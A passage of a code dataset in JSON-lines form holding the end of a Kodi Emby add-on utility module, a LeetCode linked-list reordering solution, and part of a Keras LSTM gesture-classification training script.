xbmc.executeJSONRPC(JsonString)\n\n if not Ret: # Valid but not correct Kodi return value -> Kodi bug\n return True\n\n Ret = json.loads(Ret)\n\n if not Ret.get(\"error\", False):\n return Ret\n\n if ForceBreak:\n return False\n\n if not LogSend:\n xbmc.log(f\"Emby.helper.utils: Json error, retry: {JsonString}\", 2) # LOGWARNING\n LogSend = True\n\n if Index < 50: # 5 seconds rapidly\n if sleep(0.1):\n return {}\n else: # after 5 seconds delay cycle by 1 second for the last 20 seconds\n if sleep(1):\n return {}\n\n xbmc.log(f\"Emby.helper.utils: Json error, timeout: {Ret} / {JsonString}\", 3) # LOGERROR\n return {}\n\ndef image_overlay(ImageTag, ServerId, EmbyID, ImageType, ImageIndex, OverlayText):\n xbmc.log(f\"EMBY.helper.utils: Add image text overlay: {EmbyID}\", 1) # LOGINFO\n\n if ImageTag == \"noimage\":\n BinaryData = noimagejpg\n else:\n BinaryData, _, _ = EmbyServers[ServerId].API.get_Image_Binary(EmbyID, ImageType, ImageIndex, ImageTag)\n\n if not BinaryData:\n BinaryData = noimagejpg\n\n if not ImageOverlay:\n return BinaryData\n\n img = Image.open(io.BytesIO(BinaryData))\n ImageWidth, ImageHeight = img.size\n draw = ImageDraw.Draw(img, \"RGBA\")\n BoxY = int(ImageHeight * 0.9)\n BorderSize = int(ImageHeight * 0.01)\n fontsize = 1\n font = ImageFont.truetype(FontPath, 1)\n\n #Use longest possible text to determine font width\n ImageWidthMod = ImageHeight / 3 * 4\n\n while font.getsize(\"Title Sequence\")[0] < 0.80 * ImageWidthMod and font.getsize(\"Title Sequence\")[1] < 0.80 * BoxY:\n fontsize += 1\n font = ImageFont.truetype(FontPath, fontsize)\n\n FontSizeY = font.getsize(OverlayText)[1]\n draw.rectangle((-BorderSize, BoxY - FontSizeY, ImageWidth + BorderSize, BoxY), fill=(0, 0, 0, 127), outline=\"white\", width=BorderSize)\n draw.text(xy=(ImageWidth / 2, BoxY - FontSizeY / 2), text=OverlayText, fill=\"#FFFFFF\", font=font, anchor=\"mm\", align=\"center\")\n imgByteArr = io.BytesIO()\n img.save(imgByteArr, format=img.format)\n return imgByteArr.getvalue()\n\ndef restart_kodi():\n xbmc.log(\"EMBY.helper.utils: Restart Kodi\", 1) # LOGINFO\n globals()[\"SystemShutdown\"] = True\n xbmc.executebuiltin('RestartApp')\n\ndef sleep(Seconds):\n for _ in range(int(Seconds * 10)):\n if SystemShutdown:\n return True\n\n xbmc.sleep(100)\n\n return False\n\ndef progress_open(Header):\n while ProgressBar[3]:\n sleep(1)\n\n globals()[\"ProgressBar\"][1] += 1\n\n if ProgressBar[1] == 1:\n globals()[\"ProgressBar\"][3] = True\n globals()[\"ProgressBar\"][0].create(Translate(33199), Header)\n globals()[\"ProgressBar\"][3] = False\n globals()[\"ProgressBar\"][2] = True\n\n xbmc.log(f\"EMBY.helper.utils: Progress Bar open: {ProgressBar[1]}\", 1) # LOGINFO\n\ndef progress_close():\n while ProgressBar[3]:\n sleep(1)\n\n globals()[\"ProgressBar\"][1] -= 1\n\n if ProgressBar[1] == 0:\n globals()[\"ProgressBar\"][3] = True\n globals()[\"ProgressBar\"][0].close()\n globals()[\"ProgressBar\"][2] = False\n globals()[\"ProgressBar\"][3] = False\n\n xbmc.log(f\"EMBY.helper.utils: Progress Bar close: {ProgressBar[1]}\", 1) # LOGINFO\n\ndef progress_update(Progress, Heading, Message):\n if ProgressBar[2]:\n ProgressBar[0].update(Progress, heading=Heading, message=Message)\n\n# Delete objects from kodi cache\ndef delFolder(path, Pattern=\"\"):\n xbmc.log(\"EMBY.helper.utils: --[ delete folder ]\", 0) # LOGDEBUG\n dirs, files = listDir(path)\n SelectedDirs = ()\n\n if not Pattern:\n SelectedDirs = dirs\n else:\n for Dir in dirs:\n if Pattern in Dir:\n SelectedDirs += (Dir,)\n\n delete_recursive(path, SelectedDirs)\n\n for Filename in files:\n if Pattern in Filename:\n delFile(f\"{path}{Filename}\")\n\n if path:\n rmFolder(path)\n\n xbmc.log(f\"EMBY.helper.utils: DELETE {path}\", 2) # LOGWARNING\n\n# Delete files and dirs recursively\ndef delete_recursive(path, dirs):\n for directory in dirs:\n dirs2, files = listDir(f\"{path}{directory}\")\n\n for Filename in files:\n delFile(f\"{path}{directory}/{Filename}\")\n\n delete_recursive(f\"{path}{directory}\", dirs2)\n rmFolder(f\"{path}{directory}\")\n\ndef rmFolder(Path):\n Path = translatePath(Path)\n\n if os.path.isdir(Path):\n try:\n os.rmdir(Path)\n except Exception as Error:\n xbmc.log(f\"EMBY.helper.utils: Delete folder issue: {Error} / {Path}\", 3) # LOGERROR\n\ndef mkDir(Path):\n Path = translatePath(Path)\n\n if not os.path.isdir(Path):\n os.mkdir(Path)\n\ndef delFile(Path):\n Path = translatePath(Path)\n\n if os.path.isfile(Path):\n os.remove(Path)\n\ndef copyFile(SourcePath, DestinationPath):\n SourcePath = translatePath(SourcePath)\n DestinationPath = translatePath(DestinationPath)\n\n if checkFileExists(DestinationPath):\n xbmc.log(f\"EMBY.helper.utils: copy: File exists: {SourcePath} to {DestinationPath}\", 0) # LOGDEBUG\n return\n\n try:\n shutil.copy(SourcePath, DestinationPath)\n xbmc.log(f\"EMBY.helper.utils: copy: {SourcePath} to {DestinationPath}\", 0) # LOGDEBUG\n except Exception as Error:\n xbmc.log(f\"EMBY.helper.utils: copy issue: {SourcePath} to {DestinationPath} -> {Error}\", 3) # LOGERROR\n\ndef readFileBinary(Path):\n Path = translatePath(Path)\n\n if os.path.isfile(Path):\n with open(Path, \"rb\") as infile:\n data = infile.read()\n\n return data\n\n return b\"\"\n\ndef readFileString(Path):\n Path = translatePath(Path)\n\n if os.path.isfile(Path):\n with open(Path, \"rb\") as infile:\n data = infile.read()\n\n return data.decode('utf-8')\n\n return \"\"\n\ndef writeFileString(Path, Data):\n Data = Data.encode('utf-8')\n Path = translatePath(Path)\n\n with open(Path, \"wb\") as outfile:\n outfile.write(Data)\n\ndef getFreeSpace(Path):\n if verifyFreeSpace:\n try:\n Path = translatePath(Path)\n space = os.statvfs(Path)\n free = space.f_bavail * space.f_frsize / 1024\n # total = space.f_blocks * space.f_frsize / 1024\n return free\n except Exception as Error: # not suported by Windows\n xbmc.log(f\"EMBY.helper.utils: getFreeSpace: {Error}\", 2) # LOGWARNING\n return 9999999\n else:\n return 9999999\n\ndef writeFileBinary(Path, Data):\n Path = translatePath(Path)\n\n with open(Path, \"wb\") as outfile:\n outfile.write(Data)\n\ndef checkFileExists(Path):\n Path = translatePath(Path)\n\n if os.path.isfile(Path):\n return True\n\n return False\n\ndef checkFolderExists(Path):\n Path = translatePath(Path)\n\n if os.path.isdir(Path):\n return True\n\n return False\n\ndef listDir(Path):\n Files = ()\n Folders = ()\n Path = translatePath(Path)\n\n if os.path.isdir(Path):\n for FilesFolders in os.listdir(Path):\n FilesFoldersPath = os.path.join(Path, FilesFolders)\n\n if os.path.isdir(FilesFoldersPath):\n FilesFolders = os.path.join(FilesFolders, b\"\") # add trailing / or \\\n Folders += (FilesFolders.decode('utf-8'),)\n else:\n Files += (FilesFolders.decode('utf-8'),)\n\n return Folders, Files\n\ndef translatePath(Data):\n Path = xbmcvfs.translatePath(Data)\n Path = Path.encode('utf-8')\n return Path\n\ndef currenttime():\n return datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')\n\ndef currenttime_kodi_format():\n return datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\ndef currenttime_kodi_format_and_unixtime():\n Current = datetime.now()\n KodiFormat = Current.strftime('%Y-%m-%d %H:%M:%S')\n UnixTime = int(datetime.timestamp(Current))\n return KodiFormat, UnixTime\n\ndef unixtimeInMicroseconds():\n Current = datetime.now()\n UnixTime = int(datetime.timestamp(Current))\n return UnixTime + Current.microsecond / 1000000\n\n# Remove all emby playlists\ndef delete_playlists():\n SearchFolders = ['special://profile/playlists/video/', 'special://profile/playlists/music/']\n\n for SearchFolder in SearchFolders:\n _, files = listDir(SearchFolder)\n\n for Filename in files:\n if Filename.startswith('emby'):\n delFile(f\"{SearchFolder}{Filename}\")\n\n# Remove all nodes\ndef delete_nodes():\n delFolder(\"special://profile/library/video/\", \"emby_\")\n delFolder(\"special://profile/library/music/\", \"emby_\")\n mkDir(\"special://profile/library/video/\")\n mkDir(\"special://profile/library/music/\")\n\n# Convert the gmt datetime to local\ndef convert_to_gmt(local_time):\n if not local_time:\n return \"\"\n\n if isinstance(local_time, str):\n local_time = parser.parse(local_time.encode('utf-8'))\n utc_zone = tz.tzutc()\n local_zone = tz.tzlocal()\n local_time = local_time.replace(tzinfo=local_zone)\n utc_time = local_time.astimezone(utc_zone)\n return utc_time.strftime('%Y-%m-%dT%H:%M:%SZ')\n\n return \"\"\n\n# Convert the gmt datetime to local\ndef convert_to_local(date, DateOnly=False, YearOnly=False):\n if not date or str(date) == \"0\":\n return \"0\"\n\n if isinstance(date, int):\n date = str(date)\n\n if isinstance(date, str):\n date = parser.parse(date.encode('utf-8'))\n\n if not date.tzname():\n date = date.replace(tzinfo=tz.tzutc())\n\n timestamp = (date - datetime(1970, 1, 1, tzinfo=tz.tzutc())).total_seconds()\n\n try:\n if timestamp >= 0:\n timestamp = datetime.fromtimestamp(timestamp)\n else:\n timestamp = datetime(1970, 1, 1) + timedelta(seconds=int(timestamp))\n except Exception as Error:\n xbmc.log(f\"EMBY.helper.utils: invalid timestamp: {Error}\", 2) # LOGWARNING\n return \"0\"\n\n if timestamp.year < 1900:\n xbmc.log(f\"EMBY.helper.utils: invalid timestamp < 1900: {timestamp.year}\", 2) # LOGWARNING\n return \"0\"\n\n if DateOnly:\n return timestamp.strftime('%Y-%m-%d')\n\n if YearOnly:\n return int(timestamp.strftime('%Y'))\n\n return timestamp.strftime('%Y-%m-%d %H:%M:%S')\n\ndef Translate(Id):\n if Id in TranslationsCached:\n return TranslationsCached[Id]\n\n result = Addon.getLocalizedString(Id)\n\n if not result:\n result = xbmc.getLocalizedString(Id)\n\n globals()['TranslationsCached'][Id] = result\n return result\n\ndef PathToFilenameReplaceSpecialCharecters(Path):\n Pos = Path.rfind(\"/\")\n\n if Pos == -1: # Windows\n Pos = Path.rfind(\"\\\\\")\n\n Path = Path[Pos + 1:]\n Filename = quote(Path)\n\n while Filename.find(\"%\") != -1:\n Pos = Filename.find(\"%\")\n Filename = Filename.replace(Filename[Pos:Pos + 3], \"_\")\n\n return Filename\n\ndef SizeToText(size):\n suffixes = ['B', 'KB', 'MB', 'GB', 'TB']\n suffixIndex = 0\n\n while size > 1024 and suffixIndex < 4:\n suffixIndex += 1\n size /= 1024.0\n\n return f\"1.{size}{suffixes[suffixIndex]}\"\n\n# Copy folder content from one to another\ndef copytree(path, dest):\n dirs, files = listDir(path)\n mkDir(dest)\n\n if dirs:\n copy_recursive(path, dirs, dest)\n\n for Filename in files:\n CopyFile = f\"{path}{Filename}\"\n\n if CopyFile.endswith('.pyo'):\n continue\n\n copyFile(CopyFile, f\"{dest}{Filename}\")\n\n xbmc.log(f\"EMBY.helper.utils: Copied {path}\", 1) # LOGINFO\n\ndef copy_recursive(path, dirs, dest):\n for directory in dirs:\n dirs_dir = f\"{path}{directory}\"\n dest_dir = f\"{dest}{directory}\"\n mkDir(dest_dir)\n dirs2, files = listDir(dirs_dir)\n\n if dirs2:\n copy_recursive(dirs_dir, dirs2, dest_dir)\n\n for Filename in files:\n CopyFile = f\"{dirs_dir}{Filename}\"\n\n if CopyFile.endswith('.pyo'):\n continue\n\n copyFile(CopyFile, f\"{dest_dir}{Filename}\")\n\ndef get_device_id(reset):\n if device_id:\n return\n\n mkDir(FolderAddonUserdata)\n emby_guid = f\"{FolderAddonUserdata}emby_guid\"\n globals()[\"device_id\"] = readFileString(emby_guid)\n\n if not device_id or reset:\n xbmc.log(\"EMBY.helper.utils: Generating a new GUID\", 1) # LOGINFO\n globals()[\"device_id\"] = str(uuid.uuid4())\n writeFileString(emby_guid, device_id)\n\n if reset: # delete login data -> force new login\n _, files = listDir(FolderAddonUserdata)\n\n for Filename in files:\n if Filename.startswith('servers_'):\n delFile(f\"{FolderAddonUserdata}{Filename}\")\n\n xbmc.log(f\"EMBY.helper.utils: device_id loaded: {device_id}\", 1) # LOGINFO\n\n# Kodi Settings\ndef InitSettings():\n load_settings('TranscodeFormatVideo')\n load_settings('TranscodeFormatAudio')\n load_settings('videoBitrate')\n load_settings('audioBitrate')\n load_settings('resumeJumpBack')\n load_settings('autoclose')\n load_settings('displayMessage')\n load_settings('newvideotime')\n load_settings('newmusictime')\n load_settings('startupDelay')\n load_settings('backupPath')\n load_settings('MinimumSetup')\n load_settings('limitIndex')\n load_settings('deviceName')\n load_settings('useDirectPaths')\n load_settings('syncdate')\n load_settings('synctime')\n load_settings('maxnodeitems')\n load_settings('remotecontrol_wait_clients')\n load_settings('watchtogeter_start_delay')\n load_settings('remotecontrol_drift')\n load_settings('remotecontrol_resync_time')\n load_settings('compressArtLevel')\n load_settings('ArtworkLimitationPrimary')\n load_settings('ArtworkLimitationArt')\n load_settings('ArtworkLimitationBanner')\n load_settings('ArtworkLimitationDisc')\n load_settings('ArtworkLimitationLogo')\n load_settings('ArtworkLimitationThumb')\n load_settings('ArtworkLimitationBackdrop')\n load_settings('ArtworkLimitationChapter')\n load_settings('curltimeouts')\n load_settings_bool('ArtworkLimitations')\n load_settings_bool('sslverify')\n load_settings_bool('syncduringplayback')\n load_settings_bool('usekodiworkaroundswidget')\n load_settings_bool('usekodiworkaroundsepisodebookmarks')\n load_settings_bool('refreshskin')\n load_settings_bool('animateicon')\n load_settings_bool('enablehttp2')\n load_settings_bool('menuOptions')\n load_settings_bool('xspplaylists')\n load_settings_bool('newContent')\n load_settings_bool('restartMsg')\n load_settings_bool('connectMsg')\n load_settings_bool('addUsersHidden')\n load_settings_bool('enableContextDelete')\n load_settings_bool('enableContext')\n load_settings_bool('transcode_h264')\n load_settings_bool('transcode_hevc')\n load_settings_bool('transcode_av1')\n load_settings_bool('transcode_vp8')\n load_settings_bool('transcode_vp9')\n load_settings_bool('transcode_wmv3')\n load_settings_bool('transcode_mpeg4')\n load_settings_bool('transcode_mpeg2video')\n load_settings_bool('transcode_mjpeg')\n load_settings_bool('transcode_msmpeg4v3')\n load_settings_bool('transcode_aac')\n load_settings_bool('transcode_mp3')\n load_settings_bool('transcode_mp2')\n load_settings_bool('transcode_dts')\n load_settings_bool('transcode_ac3')\n load_settings_bool('transcode_eac3')\n load_settings_bool('transcode_pcm_mulaw')\n load_settings_bool('transcode_pcm_s24le')\n load_settings_bool('transcode_vorbis')\n load_settings_bool('transcode_wmav2')\n load_settings_bool('transcode_ac4')\n load_settings_bool('transcode_livetv_video')\n load_settings_bool('transcode_livetv_audio')\n load_settings_bool('transcode_select_audiostream')\n load_settings_bool('enableCinemaMovies')\n load_settings_bool('enableCinemaEpisodes')\n load_settings_bool('askCinema')\n load_settings_bool('localTrailers')\n load_settings_bool('Trailers')\n load_settings_bool('offerDelete')\n load_settings_bool('deleteTV')\n load_settings_bool('deleteMovies')\n load_settings_bool('enableCoverArt')\n load_settings_bool('compressArt')\n load_settings_bool('getDateCreated')\n load_settings_bool('getGenres')\n load_settings_bool('getStudios')\n load_settings_bool('getTaglines')\n load_settings_bool('getOverview')\n load_settings_bool('getProductionLocations')\n load_settings_bool('getCast')\n load_settings_bool('deviceNameOpt')\n load_settings_bool('useDirectPaths')\n load_settings_bool('enableDeleteByKodiEvent')\n load_settings_bool('enableSkipIntro')\n load_settings_bool('enableSkipCredits')\n load_settings_bool('askSkipIntro')\n load_settings_bool('askSkipCredits')\n load_settings_bool('skipintroembuarydesign')\n load_settings_bool('busyMsg')\n load_settings_bool('AssignEpisodePostersToTVShowPoster')\n load_settings_bool('WizardCompleted')\n load_settings_bool('verifyFreeSpace')\n load_settings_bool('usepathsubstitution')\n load_settings_bool('uniquepeoplemovies')\n load_settings_bool('uniquepeopletvshows')\n load_settings_bool('uniquepeopleepisodes')\n load_settings_bool('uniquepeoplemusicvideos')\n load_settings_bool('remotecontrol_force_clients')\n load_settings_bool('remotecontrol_client_control')\n load_settings_bool('remotecontrol_sync_clients')\n load_settings_bool('remotecontrol_auto_ack')\n load_settings_bool('remotecontrol_resync_clients')\n load_settings_bool('remotecontrol_keep_clients')\n load_settings_bool('websocketenabled')\n load_settings_bool('WidgetRefreshAudio')\n\n if ArtworkLimitations:\n globals()[\"ScreenResolution\"] = (int(xbmc.getInfoLabel('System.ScreenWidth')), int(xbmc.getInfoLabel('System.ScreenHeight')))\n xbmc.log(f\"EMBY.helper.utils: Screen resolution: {ScreenResolution}\", 1) # LOGINFO\n\n if usepathsubstitution:\n globals()[\"AddonModePath\"] = \"/emby_addon_mode/\"\n else:\n globals()[\"AddonModePath\"] = \"http://127.0.0.1:57342/\"\n\n if not deviceNameOpt:\n globals()[\"device_name\"] = xbmc.getInfoLabel('System.FriendlyName')\n else:\n globals()[\"device_name\"] = deviceName.replace(\"/\", \"_\")\n\n if not device_name:\n globals()[\"device_name\"] = \"Kodi\"\n else:\n globals()[\"device_name\"] = quote(device_name) # url encode\n\n ToggleIcon = []\n\n if animateicon:\n if icon and icon != \"special://home/addons/plugin.video.emby-next-gen/resources/icon-animated.gif\":\n ToggleIcon = [\"resources/icon.png\", \"resources/icon-animated.gif\"]\n\n globals()[\"icon\"] = \"special://home/addons/plugin.video.emby-next-gen/resources/icon-animated.gif\"\n else:\n if icon and icon != \"special://home/addons/plugin.video.emby-next-gen/resources/icon.png\":\n ToggleIcon = [\"resources/icon-animated.gif\", \"resources/icon.png\"]\n\n globals()[\"icon\"] = \"special://home/addons/plugin.video.emby-next-gen/resources/icon.png\"\n\n if ToggleIcon:\n xbmc.log(\"EMBY.helper.utils: Toggle icon\", 1) # LOGINFO\n AddonXml = readFileString(\"special://home/addons/plugin.video.emby-next-gen/addon.xml\")\n AddonXml = AddonXml.replace(ToggleIcon[0], ToggleIcon[1])\n writeFileString(\"special://home/addons/plugin.video.emby-next-gen/addon.xml\", AddonXml)\n\n # Change type to integer\n globals().update({\"limitIndex\": int(limitIndex), \"startupDelay\": int(startupDelay), \"videoBitrate\": int(videoBitrate), \"audioBitrate\": int(audioBitrate), \"remotecontrol_wait_clients\": int(remotecontrol_wait_clients), \"remotecontrol_drift\": int(remotecontrol_drift), \"remotecontrol_resync_time\": int(remotecontrol_resync_time)})\n\ndef set_syncdate(timestamp):\n TimeStamp = parser.parse(timestamp.encode('utf-8'))\n set_settings(\"syncdate\", TimeStamp.strftime('%Y-%m-%d'))\n set_settings(\"synctime\", TimeStamp.strftime('%H:%M'))\n\ndef load_settings_bool(setting):\n value = Addon.getSetting(setting)\n\n if value == \"true\":\n globals()[setting] = True\n else:\n globals()[setting] = False\n\ndef load_settings(setting):\n value = Addon.getSetting(setting)\n globals()[setting] = value\n\ndef set_settings(setting, value):\n globals()[setting] = value\n Addon.setSetting(setting, value)\n\ndef set_settings_bool(setting, value):\n globals()[setting] = value\n\n if value:\n Addon.setSetting(setting, \"true\")\n else:\n Addon.setSetting(setting, \"false\")\n\ndef nodesreset():\n delete_nodes()\n\n for EmbyServer in list(EmbyServers.values()):\n EmbyServer.Views.update_nodes()\n\nmkDir(FolderAddonUserdata)\nmkDir(FolderEmbyTemp)\nmkDir(FolderUserdataThumbnails)\nmkDir(FolderAddonUserdataLibrary)\nInitSettings()\nget_device_id(False)\nDatabaseFiles = {'texture': \"\", 'texture-version': 0, 'music': \"\", 'music-version': 0, 'video': \"\", 'video-version': 0, 'epg': \"\", 'epg-version': 0, 'tv': \"\", 'tv-version': 0}\n_, FolderDatabasefiles = listDir(\"special://profile/Database/\")\nFontPath = translatePath(\"special://home/addons/plugin.video.emby-next-gen/resources/font/LiberationSans-Bold.ttf\")\nnoimagejpg = readFileBinary(\"special://home/addons/plugin.video.emby-next-gen/resources/noimage.jpg\")\n\nfor FolderDatabaseFilename in FolderDatabasefiles:\n if not FolderDatabaseFilename.endswith('-wal') and not FolderDatabaseFilename.endswith('-shm') and not FolderDatabaseFilename.endswith('db-journal'):\n if FolderDatabaseFilename.startswith('Textures'):\n Version = int(''.join(i for i in FolderDatabaseFilename if i.isdigit()))\n\n if Version > DatabaseFiles['texture-version']:\n DatabaseFiles['texture'] = translatePath(f\"special://profile/Database/{FolderDatabaseFilename}\")\n DatabaseFiles['texture-version'] = Version\n elif FolderDatabaseFilename.startswith('MyMusic'):\n Version = int(''.join(i for i in FolderDatabaseFilename if i.isdigit()))\n\n if Version > DatabaseFiles['music-version']:\n DatabaseFiles['music'] = translatePath(f\"special://profile/Database/{FolderDatabaseFilename}\")\n DatabaseFiles['music-version'] = Version\n elif FolderDatabaseFilename.startswith('MyVideos'):\n Version = int(''.join(i for i in FolderDatabaseFilename if i.isdigit()))\n\n if Version > DatabaseFiles['video-version']:\n DatabaseFiles['video'] = translatePath(f\"special://profile/Database/{FolderDatabaseFilename}\")\n DatabaseFiles['video-version'] = Version\n elif FolderDatabaseFilename.startswith('Epg'):\n Version = int(''.join(i for i in FolderDatabaseFilename if i.isdigit()))\n\n if Version > DatabaseFiles['epg-version']:\n DatabaseFiles['epg'] = translatePath(f\"special://profile/Database/{FolderDatabaseFilename}\")\n DatabaseFiles['epg-version'] = Version\n elif FolderDatabaseFilename.startswith('TV'):\n Version = int(''.join(i for i in FolderDatabaseFilename if i.isdigit()))\n\n if Version > DatabaseFiles['tv-version']:\n DatabaseFiles['tv'] = translatePath(f\"special://profile/Database/{FolderDatabaseFilename}\")\n DatabaseFiles['tv-version'] = Version\n\nif not artworkcacheenable: # reset if Kodi crashed during artwork cache\n set_settings_bool('artworkcacheenable', True)\n","repo_name":"MediaBrowser/plugin.video.emby","sub_path":"helper/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":28205,"program_lang":"python","lang":"en","doc_type":"code","stars":278,"dataset":"github-code","pt":"77"} +{"seq_id":"22517620747","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\nclass Solution:\n\n def reverseList(self, head: ListNode) -> ListNode:\n '''\n 反转链表\n '''\n prev = None\n curr = head\n while curr is not None:\n nxt = curr.next\n curr.next = prev\n prev = curr\n curr = nxt\n\n return prev\n\n def reorderList(self, head: ListNode) -> None:\n \"\"\"\n Do not return anything, modify head in-place instead.\n \"\"\"\n if head is None:\n return\n\n # 查找中间节点（如果是偶数个节点则返回前半末尾，如1234返回2而不是3)\n slow = fast = head\n while fast.next and fast.next.next: # 返回2而不是3在这里控制\n slow = slow.next\n fast = fast.next.next\n mid_node = slow\n\n # 将后半链表反转\n rear_node_start = mid_node.next\n mid_node.next = None # 注意在这里切断前后两个列表，要不然就奇怪了\n mid_node = self.reverseList(rear_node_start)\n\n # merge\n f = head\n r = mid_node\n while f and r:\n next_f = f.next\n next_r = r.next\n f.next = r\n r.next = next_f\n f = next_f\n r = next_r","repo_name":"ftakanashi/JobProjects","sub_path":"LeetCode/143.重排链表/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"40310953999","text":"import supp\nimport tensorflow as tf\nimport ML_functions as ml\nimport array as arr\nimport datetime\nfrom keras.preprocessing import sequence\nfrom keras.callbacks import LambdaCallback\nfrom keras import optimizers\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.metrics import classification_report\nimport csv\nimport ManipuleraData as mani\nfrom sklearn.metrics import confusion_matrix\n\n# GPU Tester\nfrom tensorflow.python.client import device_lib\n\nprint(device_lib.list_local_devices())\n\nvector_size = 52\nstarttime = datetime.datetime.now()\ninput_file = \"ArenSwipeNext1\"\n\n\ninput_button = ['AlexButton1.csv', 'AlexButton5.csv', 'AndreasButton1.csv', 'AndreasButton2.csv', 'AndreasButton3.csv', 'AndreasButton4.csv', 'AndreasButton5.csv', 'ArenButton1.csv', 'ArenButton2.csv', 'ArenButton3.csv', 'JohanButton1.csv', 'JohanButton2.csv', 'JuliaButton1.csv', 'LinusButton1.csv', 'MartinButton1.csv', 'MatildaButton1.csv']\n\ninput_swipenext = ['AlexSwipeNext1.csv', 'AlexSwipeNext5.csv', 'AndreasSwipeNext1.csv', 'AndreasSwipeNext2.csv', 'AndreasSwipeNext3.csv', 'AndreasSwipeNext4.csv', 'AndreasSwipeNext5.csv', 'ArenSwipeNext1.csv', 'ArenSwipeNext2.csv', 'ArenSwipeNext3.csv', 'JohanSwipeNext1.csv', 'JohanSwipeNext2.csv', 'JuliaSwipeNext1.csv', 'LinusSwipeNext.csv', 'LinusSwipeNext1.csv', 'MartinSwipeNext1.csv', 'MatildaSwipeNext1.csv']\n\ninput_swipeprev = ['AlexSwipePrev1.csv', 'ArenSwipePrev1.csv', 'JohanSwipePrev1.csv', 'JohanSwipePrev2.csv', 'JuliaSwipePrev1.csv', 'LinusSwipePrev.csv', 'LinusSwipePrev1.csv', 'MartinSwipePrev1.csv', 'MatildaSwipePrev.csv', 'MatildaSwipePrev1.csv']\n\ninput_slideup = ['AlexSlideUp1.csv', 'AlexSlideUp5.csv', 'AndreaSlideUp1.csv', 'AndreasSlideUp1.csv', 'AndreasSlideUp2.csv', 'AndreasSlideUp3.csv', 'AndreasSlideUp4.csv', 'AndreasSlideUp5.csv', 'ArenSlideUp1.csv', 'ArenSlideUp2.csv', 'ArenSlideUp3.csv', 'JohanSlideUp2.csv', 'JuliaSlideUp1.csv', 'LindaSlideUp1.csv', 'LinusSlideUp1.csv', 'MartinSlideUp1.csv', 'MatildaSlideUp1.csv']\n\ninput_slidedown = ['AlexSlideDown1.csv', 'ArenSlideDown1.csv', 'JohanSlideDown1.csv', 'JohanSlideDown2.csv', 'JuliaSlideDown1.csv', 'JuliaSlideDown2.csv', 'LinusSlideDown1.csv', \"MartinSlideDown1'.csv\", 'MartinSlideDown1.csv', 'MatildaSlideDown1.csv']\n\ninput_flop = ['AlexFlop1.csv', 'ArenFlop1.csv', 'JohanFlop1.csv', 'JohanFlop2.csv', 'JuliaFlop1.csv', 'LinusFlop1.csv', 'MartinFlop1.csv', 'MatildaFlop1.csv']\n\ninput_background = [\"GoodBackground1.csv\", \"GoodBackground2.csv\"]\n\n\ninput_files = input_button + input_swipenext + input_background + input_swipeprev + \\\n input_slideup + input_slidedown + input_flop\n\ninput_folder = \"ProcessedData\"\nart_folder = \"TranslatedData\"\n\n# Number of categories\noutputs = 7\n\n# training hyperparameters\n\nepochs = 500\ntime_steps = 10\nbatch_size = 10\nlearning_rate = 0.00025\ndecay = 2.5/(10**6)\n\ntraining_ratio = 0.7\n\n# used in both models\nlstm_output = 20\nstateful = True\n\n# only used in combined model\nnum_filters = 64\nkernel_size = 5\n\nrepeats = 1\n\n# for saving the model and weights\nexport = True\nmodelSaveFile = f'ts{time_steps}bs{batch_size}lstmout{lstm_output}st{stateful}lr{learning_rate}.json'\nweightSaveFile = f'ts{time_steps}bs{batch_size}lstmout{lstm_output}st{stateful}lr{learning_rate}.h5'\n\n# Model loading data\nload = False\nmodelFile = \"ts10bs10lstmout20stTruelr0.00025.json\"\nweightFile = \"ts10bs10lstmout20stTruelr0.00025.h5\"\n\n# optimizers\n# adam standard: (lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)\noptadam = optimizers.adam(lr=learning_rate, beta_1=0.9, beta_2=0.999, epsilon=None, decay=decay, amsgrad=False)\n\n# rmsprop standard: (lr=0.001, rho=0.9, epsilon=None, decay=0.0)\noptprop = optimizers.rmsprop(lr=learning_rate, rho=0.9, epsilon=None, decay=decay)\n\nrunopt = optadam\n\n# saves plot\nplot = True\nplotFile = f'Plots\\\\ts{time_steps}bs{batch_size}lstmout{lstm_output}st{stateful}lr{learning_rate}.svg'\n\n# saves Result\nresultFile = \"results.csv\"\n\n\ndata_norm, means, maxs = ml.load_zero_mean_normalize_data_folder(input_folder)\n\ndata = supp.shuffle_gestures(data_norm)\n\n# art_data = ml.load_folder(art_folder)\n# art_background = ml.load_data(\"GoodBackground1.csv\")\n\n# art_data = supp.shuffle_gestures(np.concatenate\n# ([art_data, art_background], axis=0))\n\nx_train, x_test, y_train, y_test = ml.split_data(data, vector_size, outputs,\n training_ratio)\n\n# art_x, _, art_y, _ = ml.split_data(art_data, vector_size, outputs, 1)\n\n# x_train = np.concatenate([x_train, art_x], axis=0)\n# y_train = np.concatenate([y_train, art_y], axis=0)\n\nx_train = x_train[:len(x_train) // 1000 * 1000 + time_steps]\nx_test = x_test[:len(x_test) // 1000 * 1000 + time_steps]\ny_train = y_train[:len(y_train) // 1000 * 1000 + time_steps]\ny_test = y_test[:len(y_test) // 1000 * 1000 + time_steps]\n\n\nprint(ml.count_gestures(y_train))\nprint(ml.count_gestures(y_test))\n\nprint(f'{len(x_train)}, {len(x_test)}, {len(y_train)}, {len(y_test)}')\n\n\ntrain_seq = sequence.TimeseriesGenerator(x_train, y_train, length=time_steps, batch_size=batch_size)\ntest_seq = sequence.TimeseriesGenerator(x_test, y_test, length=time_steps, batch_size=batch_size)\n\n\nseqtest = []\n\n\nfor i in range(repeats):\n\n if load:\n model = ml.loadModel(modelFile, weightFile)\n else:\n model = ml.build_lstm(time_steps, vector_size, outputs, batch_size, lstm_output, stateful)\n # model = ml.build_clstm(time_steps, vector_size, outputs, num_filters, kernel_size, lstm_output)\n # model = ml.build_crrr(time_steps, vector_size, outputs, num_filters, batch_size, kernel_size, lstm_output, stateful)\n\n model.compile(loss='categorical_crossentropy',\n optimizer=runopt,\n metrics=['accuracy'])\n\n history = model.fit_generator(train_seq,\n callbacks=[LambdaCallback(\n on_epoch_begin=lambda epoch, logs: 